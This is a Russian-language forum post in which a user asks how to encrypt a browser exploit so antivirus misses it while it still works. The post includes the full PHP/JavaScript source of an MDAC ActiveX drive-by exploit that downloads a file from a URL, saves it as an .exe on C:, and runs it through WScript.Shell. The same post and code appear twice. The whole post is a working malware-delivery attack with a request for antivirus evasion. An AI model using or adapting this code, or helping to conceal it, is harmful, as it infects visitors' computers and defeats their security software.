Xszz
13.03.2008, 20:56
Все доброго времени суток .
Возможно эта тема поднималась , но все же ...
Каким образом криптуется сплойт , если можно , пример .. Вот код сплойта , как его спрятать от антивируса и сохранить его работоспособность , пробовал обфускацию - от антивируса не спасает .
Спасибо ...
<?
$clsid = "'{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'";
?>
<script language="JavaScript">
<? // mdac + ?>
function <?=$var[1];?>(<?=$var[7];?>)
{
var <?=$var[2];?> = "abcdefghiklmnopqrstuvwxyz";
var <?=$var[3];?> = <?=$var[7];?>;
var <?=$var[4];?> = '';
for (var i=0; i<<?=$var[3];?>; i++)
{
var <?=$var[5];?> = Math.floor(Math.random() * <?=$var[2];?>.length);
<?=$var[4];?> += <?=$var[2];?>.substring(<?=$var[5];?>,<?=$var[5];?>+1);
}
return <?=$var[4];?>;
}
function <?=$var[6];?>(CLSID, name)
{
var result = null;
try { eval('result = CLSID.CreateObject(name)') } catch(e){}
if (! result) { try { eval('result = CLSID.CreateObject(name, "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.CreateObject(name, "", "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject("", name)') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject(name, "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject(name)') } catch(e){} }
return(result);
}
function <?=$var[8];?>(xml, url)
{
try
{
xml.open("GET", url, false);
xml.send(null);
} catch(e) { return 0; }
return xml.responseBody;
}
function <?=$var[9];?>(o, name, data)
{
try
{
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(data);
o.SaveToFile(name, 2);
o.Close();
} catch(e) { return 0; }
return 1;
}
function <?=$var[10];?>(exec, name, type)
{
if (type == 0)
{
try { exec.Run(name, 0); return 1; } catch(e) { }
}
else
{
try { exe.<?=$var[10];?>(name); return 1; } catch(e) { }
}
return(0);
}
function mdac()
{
var <?=$var[11];?> = "<?=$ie_path;?>";
var <?=$var[12];?> = new Array(<?=$clsid;?>, null);
var <?=$var[13];?> = new Array(null, null, null);
var i = 0;
var n = 0;
var ret = 0;
while (<?=$var[12];?>[i] && (! <?=$var[13];?>[0] || ! <?=$var[13];?>[1] || ! <?=$var[13];?>[2]) )
{
var a = null;
try
{
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + <?=$var[12];?>[i].substring(1, <?=$var[12];?>[i].length - 1));
} catch(e) { a = null; }
if (a)
{
if (! <?=$var[13];?>[0])
{
<?=$var[13];?>[0] = <?=$var[6];?>(a, "ms"+"xml2.XM"+"LHTTP");
if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "Micr"+"osoft.X"+"MLHTTP");
if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "MSX"+"ML2.Serv"+"erXML"+"HTTP");
}
if (! <?=$var[13];?>[1])
{
<?=$var[13];?>[1] = <?=$var[6];?>(a, "ADO"+"DB.St"+"ream");
}
if (! <?=$var[13];?>[2])
{
<?=$var[13];?>[2] = <?=$var[6];?>(a, "WSc"+"ript.Sh"+"ell");
if (! <?=$var[13];?>[2])
{
<?=$var[13];?>[2] = <?=$var[6];?>(a, "Sh"+"ell.Appli"+"cation");
if (<?=$var[13];?>[2]) n=1;
}
}
}
i++;
}
if (<?=$var[13];?>[0] && <?=$var[13];?>[1] && <?=$var[13];?>[2])
{
var data = <?=$var[8];?>(<?=$var[13];?>[0], <?=$var[11];?>);
if (data != 0)
{
var name = "c:\\"+<?=$var[1];?>(4)+".exe";
if (<?=$var[9];?>(<?=$var[13];?>[1], name, data) == 1)
{
if (<?=$var[10];?>(<?=$var[13];?>[2], name, n) == 1) { ret=1; }
}
}
}
return ret;
}
<? // mdac - ?>
function Attack()
{
mdac();
}
Attack();
</script>
Возможно эта тема поднималась , но все же ...
Каким образом криптуется сплойт , если можно , пример .. Вот код сплойта , как его спрятать от антивируса и сохранить его работоспособность , пробовал обфускацию - от антивируса не спасает .
Спасибо ...
<?
$clsid = "'{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'";
?>
<script language="JavaScript">
<? // mdac + ?>
function <?=$var[1];?>(<?=$var[7];?>)
{
var <?=$var[2];?> = "abcdefghiklmnopqrstuvwxyz";
var <?=$var[3];?> = <?=$var[7];?>;
var <?=$var[4];?> = '';
for (var i=0; i<<?=$var[3];?>; i++)
{
var <?=$var[5];?> = Math.floor(Math.random() * <?=$var[2];?>.length);
<?=$var[4];?> += <?=$var[2];?>.substring(<?=$var[5];?>,<?=$var[5];?>+1);
}
return <?=$var[4];?>;
}
function <?=$var[6];?>(CLSID, name)
{
var result = null;
try { eval('result = CLSID.CreateObject(name)') } catch(e){}
if (! result) { try { eval('result = CLSID.CreateObject(name, "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.CreateObject(name, "", "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject("", name)') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject(name, "")') } catch(e){} }
if (! result) { try { eval('result = CLSID.GetObject(name)') } catch(e){} }
return(result);
}
function <?=$var[8];?>(xml, url)
{
try
{
xml.open("GET", url, false);
xml.send(null);
} catch(e) { return 0; }
return xml.responseBody;
}
function <?=$var[9];?>(o, name, data)
{
try
{
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(data);
o.SaveToFile(name, 2);
o.Close();
} catch(e) { return 0; }
return 1;
}
function <?=$var[10];?>(exec, name, type)
{
if (type == 0)
{
try { exec.Run(name, 0); return 1; } catch(e) { }
}
else
{
try { exe.<?=$var[10];?>(name); return 1; } catch(e) { }
}
return(0);
}
function mdac()
{
var <?=$var[11];?> = "<?=$ie_path;?>";
var <?=$var[12];?> = new Array(<?=$clsid;?>, null);
var <?=$var[13];?> = new Array(null, null, null);
var i = 0;
var n = 0;
var ret = 0;
while (<?=$var[12];?>[i] && (! <?=$var[13];?>[0] || ! <?=$var[13];?>[1] || ! <?=$var[13];?>[2]) )
{
var a = null;
try
{
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + <?=$var[12];?>[i].substring(1, <?=$var[12];?>[i].length - 1));
} catch(e) { a = null; }
if (a)
{
if (! <?=$var[13];?>[0])
{
<?=$var[13];?>[0] = <?=$var[6];?>(a, "ms"+"xml2.XM"+"LHTTP");
if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "Micr"+"osoft.X"+"MLHTTP");
if (! <?=$var[13];?>[0]) <?=$var[13];?>[0] = <?=$var[6];?>(a, "MSX"+"ML2.Serv"+"erXML"+"HTTP");
}
if (! <?=$var[13];?>[1])
{
<?=$var[13];?>[1] = <?=$var[6];?>(a, "ADO"+"DB.St"+"ream");
}
if (! <?=$var[13];?>[2])
{
<?=$var[13];?>[2] = <?=$var[6];?>(a, "WSc"+"ript.Sh"+"ell");
if (! <?=$var[13];?>[2])
{
<?=$var[13];?>[2] = <?=$var[6];?>(a, "Sh"+"ell.Appli"+"cation");
if (<?=$var[13];?>[2]) n=1;
}
}
}
i++;
}
if (<?=$var[13];?>[0] && <?=$var[13];?>[1] && <?=$var[13];?>[2])
{
var data = <?=$var[8];?>(<?=$var[13];?>[0], <?=$var[11];?>);
if (data != 0)
{
var name = "c:\\"+<?=$var[1];?>(4)+".exe";
if (<?=$var[9];?>(<?=$var[13];?>[1], name, data) == 1)
{
if (<?=$var[10];?>(<?=$var[13];?>[2], name, n) == 1) { ret=1; }
}
}
}
return ret;
}
<? // mdac - ?>
function Attack()
{
mdac();
}
Attack();
</script>